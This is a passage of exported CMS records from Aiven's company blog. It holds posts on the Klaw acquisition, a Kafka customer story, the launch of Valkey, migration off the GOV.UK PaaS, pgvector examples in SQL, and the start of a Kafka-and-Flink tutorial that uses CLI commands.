OpenSearch®"},"slug":{"_type":"slug","current":"/blog/migrate-elasticsearch-client-to-opensearch"},"subtitle":"Leaving ES to stay open source? Data migration all planned? Now learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.","title":"Migrate your Elasticsearch client to OpenSearch®"}
{"__i18n_lang":"en","_createdAt":"2022-09-30T15:53:47Z","_id":"6ZcP2aj9aXVAN0Dh2tlga5","_rev":"If5MXS1R4Zj7MKtcdBTn9T","_type":"post","_updatedAt":"2024-02-13T14:39:06Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"Open source is at the heart of Aiven. That is why today is such a special day, as we formally [welcome Kafkawize, now Klaw, into our Open Source Program Office](https://kafkawize.io/2022/09/29/kafkawize-is-now-klaw-joins-aiven/). This marks a significant milestone, not just as our first acquisition, but as the moment where we add “steward of communities” to our open source commitment. In addition to welcoming [Klaw](https://klaw-project.io/ \"Klaw project page\"), we are also happy to welcome Muralidhar Basani to our engineering team to continue shepherding the development of Klaw.\n\n## About Klaw\n[Klaw](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance \"Introducing Klaw for Apache Kafka® governance | Aiven blog\"), an open source data governance tool for Apache Kafka®, provides a web-based data governance tool for managing Apache Kafka Topics, ACLs, and schemas. Murali started building this open source project in 2018 with the simple goal of making Apache Kafka data governance easier for developers.\n\nKlaw provides an easy user interface where teams of Apache Kafka service users can request changes to the Apache Kafka configuration without the intervention of administrators. With the right data governance in place, a user can: \n\n- __Make better decisions__: With the right governance in place you can make consistent, confident business decisions based on trustworthy metadata.\n- __Enhance regulatory__ compliance and audit: An increasingly complex regulatory climate has made it more important than ever for organizations to establish robust data governance practices. Apache Kafka environments move critical data through systems and organizations. Using proper user management and policy with Klaw, you can avoid noncompliance risks while anticipating new regulations.\n- __Optimize efficiency__: Klaw provides a graphical UI to manage all Apache Kafka Topics, giving access according to predefined user rights. Developers no longer need to spend hours managing and synchronizing config files between teams and owners.\n\nMurali open sourced his project to make sure that this tool is available to all. Aiven is upholding this commitment, and we will keep the code available for the community under the name Klaw. Aiven will actively seek contributors to collaborate with us on Klaw in the future.\n\n## Aiven + Klaw\nToday, we see a large demand for data governance around Apache Kafka. It started as a relatively straightforward streaming engine, but quickly built momentum — and today Apache Kafka is the centerpiece of a modern data pipeline. \n\nThe lack of proper governance can place data at risk if managed improperly. Some solutions are available in the market, but unfortunately most of these are not open source. This hinders access and adoption by developers. \n\nBy having Klaw join Aiven, we contribute to its long-term success, while preserving it as an open source project. Unlike proprietary alternatives, Klaw also enables us to provide Apache Kafka users much-needed open source tooling. Because Klaw is an open source technology, we have an opportunity to grow the  community around it out in the open, which not only aligns with our values, but also has business advantages. \n\nAs part of our Series C funding announcement, Aiven made a public commitment to promote and uplift open source. Today, I’m thrilled to announce this news and continue making good on our promises by evolving from an open-source contributor to a steward of open-source communities.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"dIABIFlQ2WxdM5KNsxEcc","_ref":"dIABIFlQ2WxdM5KNsxEcc","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-29T00:00:00.000Z","related":[{"_key":"875b8e3a85d3","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},{"_key":"53e244e11f13","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"seo":{"metaDescription":"Aiven enters the next phase of its open source commitment with Apache Kafka® data governance. Read what Oskari Saarenmaa has to say about Kafkawize.","metaImage":{"alt":"","asset":{"_ref":"image-98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844-png","_type":"reference"}},"metaTitle":"Aiven welcomes Kafkawize, now Klaw"},"slug":{"_type":"slug","current":"/blog/aiven-welcomes-kafkawize-now-klaw"},"subtitle":"Aiven enters the next phase of its open source commitment with Apache Kafka® data governance. Read what Oskari Saarenmaa has to say about Kafkawize.","title":"Aiven welcomes Kafkawize, now Klaw"}
{"__i18n_lang":"en","_createdAt":"2022-11-14T11:53:39Z","_id":"6edd956e-b77d-4872-b909-005b3f926172","_rev":"h4ancfFTuSnQNBSq3InxMi","_type":"post","_updatedAt":"2024-11-19T08:54:22Z","authors":[{"_key":"05c39fcbe687","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven is blessed with interesting customers, and this is even more true for companies in our [Cluster program](https://aiven.io/cluster). Yet sometimes we come across a use case for our services that takes a bit of explaining. One-year-old [Huuva](https://www.huuva.io/) is one of these - and we love them for it.\n\nGoing against what is perhaps more of a trend among food-related startups, Huuva doesn’t employ delivery staff - they employ chefs. Huuva’s own Kitchens prepare food for home delivery. \n\n“We provide local restaurants and brands a new outlet for their products. Our Kitchens prepare the food, no matter if it’s beets or burgers,” says **Tiina Romu**, Software Team Lead at Huuva. “The restaurant partners at each Kitchen location provide a menu customized for that location. The customer can order dishes from any or all of the restaurants at that Kitchen.”\n\nThat’s the magic of Huuva. You want Chinese food but your friend would rather have pasta? Instead of paying for two home deliveries, you can order both at once from Huuva. \n\nOkay, now we know how to avoid late-night arguments over takeout. But what does data have to do with cooking?\n\n“You might think the kitchen business is done with pots and pans and stoves,” Tiina laughs, “and it is, of course. But what we’re bringing to our kitchens with software is ease of working. Huuva helps the chefs do their job.”\n\n\u003e **What we’re bringing to our kitchens with software is ease of working.**\n\nWhen there are multiple orders to be prepared at once, Huuva’s software tells the chefs what can be done next and what needs to wait. In short, it helps the chefs queue up orders so that the kitchen can operate smoothly and efficiently but without hurrying.\n\n## Aiven for tasty meals\n\nHuuva’s core software product is actually the order management system used in Huuva Kitchens. A workplace where multiple brands and types of food is prepared is a complicated environment with a number of overlapping processes, and the order management system makes the chefs’ work easier by displaying orders in a logical way.\n\n“Behind the order management system is a complex container-based microservice architecture,” Tiina explains. “All services are running in a Kubernetes cluster. This means that we have a lot of small services that have their own purpose, and they are serving only that purpose. Many of those services have a PostgreSQL® database. In addition, we have MongoDB in one of the services, and OpenSearch®. But Apache Kafka® is really the core of everything. All our data is flowing through Apache Kafka, not just orders but also logs and other development related data. We can more easily monitor our infrastructure and know what's happening in all of our kitchens.”\n\n## A year of incredible growth with Cluster\n\n“We opened our first location in Finland in September 2021,” says Tiina. “Now, in 2022, we have seven locations internationally. [Note: since the interview, 3 more locations have opened to bring the number up to an even 10.] We always aimed for strong growth so we are not surprised, but we are satisfied.”\n\nBecause Huuva have focused on a high rate of growth from the start, they always wanted to set up their services in a sustainable, scalable way. That’s where Aiven’s Cluster program comes in.\n\n“We were really happy to apply to the Aiven Cluster program when it was announced,” says Tiina. “It's really valuable for us that we can actually build our software scalably from the start. Even if we now only have a few kitchens, in the future we might have dozens or even hundreds. So at that point, we won't need to change our architecture anymore. We can just focus on providing our great features for our kitchens.”\n\n\u003e **Being part of the Cluster program has given us the freedom to choose the tools we want from the start.**\n\n“Being part of the Cluster program has given us the freedom to choose the tools we want from the start, without having to worry about the actual cost of these services, or how much time maintaining them would take. So we feel that this is really helping us move forward and grow,” says Tiina.\n\n“We’re also getting technical help from Aiven,” Tiina adds. “We have experts we can talk to, people who have already used and have a lot of experience with services like Kafka. They can help us plan how to do things and to validate that the ideas we have are actually a good way to go.”\n\n## Facing the world, hand in claw\nBut there’s one more great thing that Huuva is getting from participating in the Cluster program. \n\n“One of our favorite things with Aiven Cluster is that we really feel that we are cared for. We are regularly getting questions like, Hey, how are you doing? And is there something we could do for you? And that's a really nice thing, for a bigger company to care for the smaller ones taking their first steps.”\n\n::youtube[How Aiven Cluster helps Huuva serve tasty local dishes]{#cFX4r-DV4q0}\n\nAre you still looking for a managed data platform? [Head to the Aiven Console to sign up for a free trial!](https://console.aiven.io/signup)\n","categories":[{"_key":"6f98e2653661","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-33f55af451a8e137e7ae759f08a45e66ff7ebdb7-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-29T09:40:29.202Z","related":[{"_key":"29d1584c7b1b","_ref":"18fLg2vAgBM4cu7qP3u2XJ","_type":"reference"},{"_key":"58d534aa98b4","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"See how Huuva, one of Aiven’s Cluster startup companies, uses Apache Kafka® in the kitchen to enhance their innovative concept. Find out more in our blog!"},"slug":{"_type":"slug","current":"/blog/cooking-with-apache-kafka"},"subtitle":"Huuva, one of Aiven’s Cluster startup companies, use Apache Kafka® in the kitchen. Join us for a tour of their innovative concept, and the boost that Cluster gives them.","title":"Cooking with Apache Kafka® [Customer Story]"}
{"__i18n_lang":"en","_createdAt":"2024-06-26T14:05:03Z","_id":"894ac584-fe8d-47eb-bd84-cdc44c4c3a5c","_rev":"p92WeIHLmx3eRj4zhhfvHh","_type":"post","_updatedAt":"2024-06-27T16:30:00Z","authors":[{"_key":"abcedc18d387","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"\nToday ‍Aiven is launching Aiven for Valkey to give customers a fully open source Redis® alternative. \n\nAiven for Caching will remain available to existing customers, but due to recent [Redis® licensing changes](https://aiven.io/blog/aiven-for-redis-becomes-aiven-for-caching), it will remain on Redis 7.2.4. [Valkey](https://valkey.io/) is a fork of OSS Redis®, version 7.2.5, maintained by the Linux Foundation and is fully backwards compatible with Redis. \n\n## Drop-in replacement for Redis®\n\nAs a true open source initiative, Valkey empowers developers to explore scalability advancements that go beyond the limitations of legacy OSS Redis®, with plans to add multi-threaded performance optimizations in addition to the introduction of future functionalities. \n\nAiven for Valkey is fully compatible with Redis® 7.2.4 and has identical functionality, plans, and pricing to Aiven for Caching. We will support a full migration path from external Redis® implementations and Aiven for Caching to Aiven for Valkey with limited downtime in short order, ensuring a smooth transition for our customers.\n\n## Aiven's commitment to open source\n\nAiven stands firmly behind open source, and we're excited to support this open source project. As an early supporter of and committer to Valkey and its plugin ecosystem, Aiven and our customers are able to have a material impact on Valkey’s evolution. This level of commitment aims to ensure we do our part as a contributing member of a vibrant community and provide ongoing innovative products for our customers.\n\n\u003e \"Aiven is a strong supporter of open source with open governance. We were delighted to hear about the creation of Valkey and we are supporters of this project. We are excited to add Aiven for Valkey to the Aiven Platform so that our customers can continue to benefit from access to the most popular and widely adopted open source data and AI technologies.\" - Oskari Saarenmaa, CEO, Aiven.\n\nAiven for Valkey is a managed service that enables customers to get all the features of open source Redis® without any of the infrastructure stress. Whether you need high-performance data caching, robust message queuing capabilities, or a persistent key-value database, Aiven for Valkey has you covered.\n\n[Get started](https://console.aiven.io/signup) with Aiven for Valkey today.\n\n\n\n\n*\\* Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven.*","mainImage":{"_type":"mainImage","asset":{"_ref":"image-9579496b197eeb12c6cc2e7bcb624b0683faed73-1200x628-png","_type":"reference"}},"publishedAt":"2024-06-27T16:30:00.000Z","slug":{"_type":"slug","current":"/blog/introducing-aiven-for-valkey"},"subtitle":"Aiven offers managed Valkey, an open source NoSQL database compatible with legacy OSS Redis®* perfect for caching, message queues, and more.","title":"Introducing Aiven for Valkey"}
{"__i18n_lang":"en","_createdAt":"2023-01-09T05:56:51Z","_id":"6be24774-cbca-4a0b-a0f6-51e0c17a35b5","_rev":"jlE3yG3C5Lxk0cUOqcoiji","_type":"post","_updatedAt":"2024-05-27T12:38:55Z","authors":[{"_key":"2f561b5457f6","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"If you're a user of the GOV.UK PaaS, you know the bad news already: your platform is going away, and you’ll have to independently procure your managed cloud services from now on. But there’s a pretty thick silver lining here. With direct procurement, the range of hosted services available to your organisation is about to increase dramatically.\n\nAiven are, and will continue to be until the end of the GOV.UK PaaS, the providers of the OpenSearch® and InfluxDB® services you can find there.\n\nThe new G-Cloud-13 framework is a purchasing vendor service run by the Crown Commercial Service (CCS), and unlike the GOV.UK PaaS platform it offers direct access to vendors via a centrally negotiated government contract. This means you’ll continue to have the managed service offerings of OpenSearch and InfluxDB that you currently enjoy (via Aiven) to choose from—but you’ll also have a range of other managed open source solutions that you can choose from Aiven.\n\n## Come over to Aiven\nAiven is a provider of managed open source data technologies on all major clouds globally.  As an [existing GOV.UK vendor](https://aiven.io/blog/aiven-for-opensearch-was-chosen-for-gov-uk-customer-story), Aiven is already pre-vetted and ticks all the boxes. \n\nAnd the best thing of all is that if you move from Aiven’s OpenSearch of InfluxDB service on the GOV.UK PaaS, we can pretty much guarantee a quick no-downtime migration.\n\nRun your eye over these benefits of the Aiven platform:\n\n- **API-first architecture**: you can automate a lot of your processes with Aiven’s API, whether you use Kubernetes or Terraform or a proprietary framework. No clickopsing, just jobs running and taking care of business.\n- **Information assurance**: [Aiven has a wide array of certifications and compliances](https://aiven.io/security-compliance), detailed information on all of which is available on request.\n- **Pay-as-you-go**: with Aiven, you’re not buying servers, you’re buying a service, which you can stop using any time you want—and also stop paying for it.\n- **Open source**: if you want to understand what your infrastructure is made of and how it works, and to avoid locking yourself in to a single vendor, [always choose open source](https://aiven.io/blog/why-you-should-love-open-source-databases) software and services. Everything at Aiven is fully open source.\n- **Cloud-agnostic**: run your jobs on any hyperscaler cloud, anywhere in the world - or on all of them. Piping data from cloud to cloud is easy with Aiven.\n\n## Aiven services\nAiven’s service portfolio includes a range of best of breed open source technologies that allow you to manage your data—whether streaming, operational, or analytics—from one easy to use console. Here is a quick look at what we offer, each fully managed and carefree.\n\n### Search and find: Aiven for OpenSearch\nYou may already know Aiven for OpenSearch from the GOV.UK PaaS. It’s a high-powered, versatile search engine, optimized for free text search and customizable visual analytics. OpenSearch is ideal for information-heavy, search-oriented pages that provide crucial information for end users.\n\n### Big time data: Aiven for InfluxDB®, Aiven for M3®, Aiven for ClickHouse®\nAiven for InfluxDB®, as offered on the GOV.UK PaaS, is just one of our services designed for data-intensive applications like analytics. Our newest arrival, Aiven for ClickHouse, is a high-performance data warehouse, the fastest open source columnar database on the market. \nIf your data volumes are truly epic, you could take a look at M3. Often used together with Grafana, M3 is a true open source time series database designed for massive environments.\n\n### Easy streaming: Aiven for Apache Kafka®\nAiven provides a full solution for you to build a streaming service: a complete ecosystem of solutions and services built around Apache Kafka. It lets you transport, manage, process, operate and govern your organization’s streaming data efficiently. \n\nAlong with Apache Kafka itself, we offer managed Apache Kafka Connect for connectivity, Apache Kafka® MirrorMaker 2 for replication, Apache Flink® for stream processing, and as the cherry on top, Klaw for governance over the whole system. With Klaw, you can specify who is able to write to which topic using team and role definitions.\n\n### SQL goodness: Aiven for PostgreSQL®, Aiven for MySQL®\nPostgreSQL is an advanced, mature and scalable relational database that can handle just about anything you throw at it. Its extensive toolkit and large community make it an easy open source choice. Aiven for PostgreSQL is your truly future-proof data solution.\n\nBut if you’re looking for something light and nimble, take a look also at MySQL, the world’s most popular open source relational database and something of a younger cousin of PostgreSQL. Less fully featured than PostgreSQL, Aiven for MySQL nevertheless makes a good starter database for limited needs.\n\n### Metrics and analytics: Aiven for Grafana®\nAiven for Grafana is a widely used open source monitoring, visualisation and alerting service. You can collect data from various Aiven services and display them in a coherent dashboard. When combined with M3, it scales to cover even the largest infrastructure monitoring cases.\n\n### Robust data service: Aiven for Cassandra®, Aiven for Caching\nEfficient caching can provide a faster user experience for your app. Aiven for Caching, an extremely fast, robust in-memory key-value database, is your best choice. \n\nAnd last but by no means least, to provide stability and durability in the face of expanding and changing volumes of data, consider Aiven for Cassandra. It’s a distributed NoSQL database that is famously scalable and fault-tolerant.\n\n## Here’s a tip\nOne way to use Aiven services is to build yourself an observability platform. Plug Aiven for InfluxDB or M3 to Aiven for OpenSearch and Grafana (or indeed any other monitoring service you like, but getting all the bits from Aiven does make for a smoother experience) and easily keep tabs on your data infrastructure.\n\nThe reason we’re bringing this up especially is that, while working with the GDS team that managed the GOV.UK PaaS, this proved to be a simple, cost effective solution to their observability needs. Deploying it as a managed service reduced their up-front costs and management overhead.\n\n## Next step\nIf you’re an existing user of the GOV.UK PaaS, we have a fast lane for you to spin up your services with Aiven. And even better, we’ll help you get your services migrated, too, together with the GOV.UK PaaS team.\n\nSee the chat box in the corner of your browser? Use that to get in touch with the designated GOV.UK PaaS team at Aiven, and get the ball rolling now.\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"a07fa09a3952","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d5b0f8ee73e70295a68962b67a060054bc84b2f8-752x405-jpg","_type":"reference"}},"publishedAt":"2023-01-30T15:04:15.060Z","related":[{"_key":"9e56e39f30a0","_ref":"4UiFOlqBKJ2Da9HxhJFdR2","_type":"reference"},{"_key":"4113fa15eda0","_ref":"3MggLA9OLDbYdLjn5eZSx6","_type":"reference"},{"_key":"552b0f4049d1","_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Life after the GOV.UK PaaS | Discover Aiven’s offering"},"slug":{"_type":"slug","current":"/blog/life-after-the-gov-uk-paas"},"subtitle":"The UK Government’s G-Cloud-13 framework is live, with loads of new services available to UK organisations. Discover Aiven’s offering here!","title":"Life after the GOV.UK PaaS"}
{"__i18n_lang":"en","_createdAt":"2023-06-23T11:16:04Z","_id":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_rev":"sEwq5NBiPauorOxrhiUOIA","_type":"post","_updatedAt":"2024-11-19T08:37:50Z","authors":[{"_key":"04f86527c6cd","_ref":"5a16a911-c8fc-479c-8760-cb02d321aa7f","_type":"reference"}],"body":"Many organizations use PostgreSQL® to store their data and to perform advanced analytics, taking advantage of the consistency guarantees, the familiar SQL syntax and the plethora of analytical functions available. However, when solving problems that require Machine Learning capabilities, like similarity search, they were forced to move entire datasets to other platforms, facing the dual challenges of stale data and inconsistent results.\n\nToday, we're thrilled to announce the availability of [pgvector](https://github.com/pgvector/pgvector) as an extension to [Aiven for PostgreSQL®](https://aiven.io/postgresql), empowering organizations to store vectorized representations of their data alongside other data columns, and to perform similarity searches with SQL. pgvector allows you to bridge the gap between Machine Learning and transactional data. \n\nUse cases for pgvector\n======================\n\nBringing vectorized search to Aiven for PostgreSQL® means unlocking new capabilities on top of customer data. For example, with pgvector you can:\n\n- Create a **recommendation system** which only suggests products in stock with PostgreSQL's ACID features by joining product information and stock levels, then performing a vector search.\n\n- Build an **anomaly detection system** to understand patterns, by combining the power of vector search and trend analytics, defining good behaviors and generating alerts for non-compliant scenarios.\n\n- Build **Natural Language Processing** pipelines to deliver tailored insights based on prompts, by taking advantage of the combination of Large Language Models (LLMs) and pgvector. This would allow enhanced search of a company’s existing documentation via natural language interaction.\n\n- Perform activities like **object detection** and **facial recognition**, by leveraging image detection machine learning models and pgvector. This could include filtering the catalog of object patterns with additional inputs derivied from other data columns in PostgreSQL\n\nWhether you are in e-commerce, media, healthcare, or any other industry, pgvector empowers you to add new capabilities, enhance recommendation systems, and make more informed decisions based on vectorized data. Examples range from product recommendations, frequently used in e-commerce scenarios, to image recognition, which is very common in media and healthcare use cases.\n\npgvector in a nutshell\n======================\n\nThe basic functionality of pgvector is the storage and comparison of vector information in PostgreSQL. A vector representation is a way of representing data as a set of numerical values, where each value represents a feature or attribute of the data. In this representation, the data is encapsulated as a vector, which is a mathematical object that has both magnitude and direction.\n\nVector representations are widely used in machine learning and natural language processing, where they are called **embeddings** and used to represent words, phrases, sentences, images and documents. In these applications, each dimension of the vector corresponds to a specific feature of the text, such as the frequency of a particular word or the context in which it appears.\n\nVector representations are often used for tasks such as classification, clustering, and similarity matching. By representing data as vectors, it becomes possible to apply mathematical operations to the data, such as measuring the distance between two vectors or calculating the dot product of two vectors. These operations can be used to compare and analyze the data, and to extract meaningful insights from it.\n\npgvecor makes PostgreSQL able to store, retrieve and compare vectors allowing you to perform similarity search to identify items or data points that share intrinsic characteristics or similarities with a given query item. By comparing the query item to a dataset using a defined distance metric, you can identify the most similar items efficiently. pgvector also allows you to build full or partial indexes to speed up similarity search and to trade query performance with search accuracy by defining the amount of rows to scan.\n\nBenefits of pgvector\n====================\n\nBy using pgvector, you are adding vector search to the PostgreSQL capabilities, removing the need to build the dedicated functionality elsewhere. This extension provides the following capabilities:\n\n-   **Accelerate machine learning adoption**: vector search is now only a SQL query away, therefore all tools able to connect with PostgreSQL can now benefit from similarity search queries out of the box.\n\n-   **No data movement**: by storing embeddings alongside the existing relational data, the queries can run directly on top of PostgreSQL, without the need to export, transform and reconcile the data.\n\n-   **Empower existing architectures**: PostgreSQL is already widely used in organizations, with pgvector coming as a plug-and-play extension allowing for any dataset to be addressed with vector search functionality without having additional databases.\n\n-   **Mix vector search with transactional data**: vector search alone can be quite limited. The power of pgvector is that it provides the vector similarity functions alongside the relational data, allowing users to enrich vector queries with additional attributes and filters based on other columns and tables stored in the same database.\n\n-   **ACID + similarity search**: since it's based on PostgreSQL, you can benefit its ACID (Atomicity, Consistency, Isolation, and Durability) properties and mix them with vector similarity queries.\n\nGetting started with pgvector in Aiven for PostgreSQL\n=====================================================\n\npgvector is supported in all new Aiven for PostgreSQL instances with version 13 or later. If you have an existing Aiven for PostgreSQL on version 13 or newer and you wish to enable pgvector, check for [maintenance updates](https://aiven.io/docs/platform/concepts/maintenance-window#maintenance-updates). After applying the one mentioning pgvector, you'll be able to use the extension.\n\nOnce the PostgreSQL instance is equipped with pgvector, you can enable the extension by connecting with a SQL client (e.g. [psql](https://aiven.io/docs/products/postgresql/howto/connect-psql)) and executing the following command\n```sql\nCREATE  EXTENSION  VECTOR\n```\nWith the extension enabled you can now define columns of type `VECTOR` specifying the dimensionality. The following example creates a table with a vector column having 3 dimensions.\n```sql\nCREATE  TABLE  COLORS(COLOR  TEXT  PRIMARY  KEY,  RGB  VECTOR(3));\n```\nYou can now insert data in the `COLORS` table with:\n```sql\nINSERT  INTO  COLORS  VALUES  ('RED','[255,0,0]');\nINSERT  INTO  COLORS  VALUES  ('GREEN','[0,255,0]');\nINSERT  INTO  COLORS  VALUES  ('BLUE','[0,0,255]');\nINSERT  INTO  COLORS  VALUES  ('AQUA','[0,255,255]');\nINSERT  INTO  COLORS  VALUES  ('BLACK','[0,0,0]');\nINSERT  INTO  COLORS  VALUES  ('WHITE','[255,255,255]');\n```\nAnd find the euclidean distance between the existing colors in the `COLORS` table and the pink color `(255,153,204)` with:\n```sql\nselect  *,  rgb  \u003c-\u003e  '[255,153,204]'  distance  from  colors  order  by  3;\n```\nThe result shows that `WHITE` is the closest color to the `PINK`;\n\n```sql\ncolor   | rgb             | distance\n--------+-----------------+--------------------\n WHITE  |  [255,255,255]  |  114.03946685248927\n RED    |  [255,0,0]      |  255\n AQUA   |  [0,255,255]    |  279.3385043276347\n BLUE   |  [0,0,255]      |  301.72006893808043\n GREEN  |  [0,255,0]      |  342.11840055746785\n BLACK  |  [0,0,0]        |  360.62445840513925\n\n(6  rows)\n```\nPricing \u0026 availability\n======================\n\nAiven for PostgreSQL is available on all major cloud service providers - AWS, Google Cloud and Microsoft Azure - in over 150 regions globally.\nThe pgvector extension is available for all customers who are using Aiven for PostgreSQL with PostgreSQL version 13 and above.\nYou can find all extensions available for Aiven for PostgreSQL in [this document](https://aiven.io/docs/products/postgresql/reference/list-of-extensions). \n\n\nYou can start Aiven for PostgreSQL for free or choose startup, business and premium plans for more storage and high availability. The startup plan starts at $0.151/hour.\n\nBring vector search to transactional data\n=========================================\n\npgvector enables vector search on top of any PostgreSQL database, providing a wide range of similarity functions accessible with the same SQL interface we use for day to day queries.\n\nIf you want to know more:\n\n- Review [the pgvector documentation](https://aiven.io/docs/products/postgresql/howto/use-pgvector) to understand the step-by-step instructions on enabling and using the pgvector extension for your Aiven for PostgreSQL service.\n\n- Check the[ pgvector GitHub repository](https://github.com/pgvector/pgvector#querying) to understand the set of operators and functions available.\n\n- Check out a practical demonstration of pgvector: [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector)\n\n## Further reading\n\n- [(Postgre)SQL concepts and terms](https://aiven.io/blog/postgresql-concepts-and-terms)","categories":[{"_key":"698276479535","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"},{"_key":"879d47218994","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"7e5457a675e3","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Vector Search in Aiven for PostgreSQL® with pgvector","asset":{"_ref":"image-065dc1e9e8b79b4c0b21010de09b15a19784fc16-1567x844-png","_type":"reference"}},"publishedAt":"2023-06-27T10:00:43.691Z","related":[{"_key":"8e6354f68cce","_ref":"145w1kDoj7UfbaINvzIOg9","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"pgvector for Aiven PostgreSQL® is now available, enabling vectorized data storage and similarity searches with SQL. Find out more in our blog!","metaImage":{"_type":"mainImage","alt":"Vector Search in Aiven for PostgreSQL® with pgvector","asset":{"_ref":"image-065dc1e9e8b79b4c0b21010de09b15a19784fc16-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/aiven-for-postgres-supports-pgvector"},"subtitle":"Announcing the availability of the pgvector extension in Aiven for PostgreSQL®, allowing you to store vectorized data in your database, and perform similarity searches with SQL.","title":"Enabling Vector Search in Aiven for PostgreSQL® with pgvector"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7IDTlcURHzZ8SEgvYlcy6Q","_rev":"sEwq5NBiPauorOxrhfDVWO","_type":"post","_updatedAt":"2024-11-18T13:13:15Z","authors":[{"_key":"3dImkQse2fXRL7zTLzAoa1","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"\u003e __Docker is great for testing or development, but for production workloads you might want to use more reliable managed services like Aiven for Apache Kafka®️ and Aiven for Apache Flink®️. Check out how you can do this at [Keep the SQL: Move from batch to streaming with Apache Kafka® and Apache Flink®](https://aiven.io/developer/first-streaming-sql-pipeline-with-apache-flink)__\n\nApache Kafka is the perfect base for any streaming application: a solid, highly-available, fault-tolerant platform that makes reliable communication between streaming components as easy as writing to a disk.\n\nApache Flink adds the power of stateful data transformations to the picture. It's able to calculate, persist, recover and process data in a similar distributed, highly-available, fault-tolerant fashion to that provided by Kafka. Apache Flink is available from a variety of languages: from the more traditional Java and Scala all the way to Python and SQL. \n\nA [previous post](https://aiven.io/blog/apache-flink-sql-client-on-docker) showed how you can create your Docker version of Apache Flink including its SQL Client. In this post, we will demonstrate how you can use the best streaming combination — Apache Flink and Kafka — to create pipelines defined using data practitioners' favourite language: SQL!\n\nHere's how it goes:\n\n1. [Setting up Apache Kafka](#1-set-up-apache-kafka)\n2. [Set up Apache Flink on Docker](#2-set-up-apache-flink-on-docker)\n3. [Create a Keystore for Kafka's SSL certificates](#3-create-a-keystore-for-kafka-s-ssl-certificates)\n4. [Create some test data with Kafkacat](#4-create-some-test-data-with-kafkacat)\n5. [Define the source Kafka topic as Flink Table](#5-define-the-source-kafka-topic-as-flink-table)\n6. [Transform and insert data](#6-transform-and-insert-data)\n7. [Check the pipeline output](#7-check-the-pipeline-output)\n\n## 1. Set up Apache Kafka\n\nApache Kafka is our basic data storage platform. We can create a cluster via [Aiven's Command line interface](https://help.aiven.io/en/articles/3074410-aiven-command-line-interface-tips-and-tricks) in our terminal:\n\n```\navn service create -p business-4 \\\n  -t kafka demo-kafka \\\n  --cloud google-europe-west3 \\\n  -c kafka_rest=true \\\n  -c kafka.auto_create_topics_enable=true\n```\n\nThis sets up an Apache Kafka cluster named `demo-kafka` in `google-europe-west3`, enabling Kafka REST APIs and topic auto creation. If you want to wait until the `demo-kafka` service is ready to use, you can use the following command:\n\n```\navn service wait demo-kafka\n```\n\n## 2. Set up Apache Flink on Docker\nIn [my previous post](https://aiven.io/blog/apache-flink-sql-client-on-docker) I outlined how to properly set up Apache Flink on Docker. With Docker, we can have a working environment running in minutes without needing to fiddle with installation and configuration. The previous post provides instructions on how to set up such an environment and how to create a file-to-PostgreSQL data pipeline. In this article, I'm going to assume that you [correctly configured Apache Flink](https://github.com/aiven/flink-sql-cli-docker), and that the service is 